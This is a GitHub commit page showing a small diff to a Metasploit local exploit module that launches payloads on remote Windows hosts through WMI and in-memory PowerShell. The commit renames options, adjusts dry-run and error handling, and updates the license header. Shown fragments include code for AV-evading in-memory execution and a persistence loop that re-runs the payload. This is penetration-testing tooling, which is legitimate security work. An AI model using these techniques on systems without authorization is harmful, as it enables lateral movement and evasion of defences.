Skip to content

Commit 4a79e75

Browse files
author
RageLtMan
committed
Address void-in's comments
Drop session type check Camel case advanced options Clean up persistence, dry run, and error messages. Clean up copyright/license clause.
1 parent 5bd43bf commit 4a79e75

File tree

1 file changed

+16
-17
lines changed

1 file changed

+16
-17
lines changed

modules/exploits/windows/local/ps_wmi_exec.rb

Lines changed: 16 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,8 @@
11
# -*- coding: binary -*-
2-
##
3-
# $Id$
4-
##
52

63
##
7-
# This file is part of the Metasploit Framework and may be subject to
8-
# redistribution and commercial restrictions. Please see the Metasploit
9-
# Framework web site for more information on licensing and terms of use.
10-
# http://metasploit.com/framework/
4+
# This module requires Metasploit: http://metasploit.com/download
5+
# Current source: https://github.com/rapid7/metasploit-framework
116
##
127

138
##
@@ -29,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Local
2924

3025
def initialize(info={})
3126
super(update_info(info,
32-
'Name' => "Current User WMI Exec Powershell",
27+
'Name' => "Authenticated WMI Exec via Powershell (Local Exploit)",
3328
'Description' => %q{
3429
This module uses WMI execution to launch a payload instance on a remote machine.
3530
In order to avoid AV detection, all execution is performed in memory via psh-net
@@ -49,6 +44,7 @@ def initialize(info={})
4944
'SessionTypes' => [ 'meterpreter' ],
5045
'Targets' => [ [ 'Universal', {} ] ],
5146
'DefaultTarget' => 0,
47+
'DisclosureDate'=> "Aug 19 2012"
5248

5349
))
5450

@@ -63,8 +59,8 @@ def initialize(info={})
6359

6460
register_advanced_options(
6561
[
66-
OptBool.new('PERSIST', [false, 'Run the payload in a loop']),
67-
OptBool.new('RUN_REMOTE_WOW64', [
62+
OptBool.new('PowerShellPersist', [false, 'Run the payload in a loop']),
63+
OptBool.new('RunRemoteWow64', [
6864
false,
6965
'Execute powershell in 32bit compatibility mode, payloads need native arch',
7066
false
@@ -86,7 +82,7 @@ def build_script
8682

8783
# Create base64 encoded payload
8884
psh_payload_raw = Msf::Util::EXE.to_win32pe_psh_reflection(framework, payload.raw)
89-
if datastore['PERSIST']
85+
if datastore['PowerShellPersist']
9086
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
9187
sleep_time = rand(5)+5
9288
psh_payload = "function #{fun_name}{#{psh_payload}};while(1){Start-Sleep -s #{sleep_time};#{fun_name};1}"
@@ -97,7 +93,7 @@ def build_script
9793
# Build WMI exec calls to every host into the script to reduce PS instances
9894
# Need to address arch compat issue here, check powershell.exe arch, check pay arch
9995
# split the hosts into wow64 and native, and run each range separately
100-
ps_bin = datastore['RUN_REMOTE_WOW64'] ? 'cmd /c %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
96+
ps_bin = datastore['RunRemoteWow64'] ? 'cmd /c %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
10197
# for whatever reason, passing %systemroot% instead of 'C:\windows' fails
10298

10399
if datastore["RHOSTS"]
@@ -125,8 +121,8 @@ def exploit
125121

126122
# Make sure we meet the requirements before running the script
127123
# Shell sessions can't kill PIDs
128-
if !(session.type == "meterpreter" || have_powershell?)
129-
print_error("Incompatible Environment")
124+
if !have_powershell?
125+
print_error("Incompatible environment - PowerShell is required")
130126
return
131127
end
132128
# SYSTEM doesnt have credentials on remote hosts
@@ -136,10 +132,14 @@ def exploit
136132
end
137133

138134
script = build_script
139-
print_good script if datastore['PSH::dry_run']
135+
136+
if datastore['Powershell::Post::dry_run']
137+
print_good script
138+
return
139+
end
140140
#
141141
print_good("#{datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false)}")
142-
print_good('Finished!')
142+
vprint_good('PSH WMI exec is complete.')
143143
end
144144

145145
# Wrapper function for instantiating a WMI win32_process
@@ -177,7 +177,6 @@ def ps_wmi_exec(opts = {})
177177
178178
EOS
179179

180-
181180
return ps_wrapper
182181
end
183182

0 commit comments

Comments
 (0)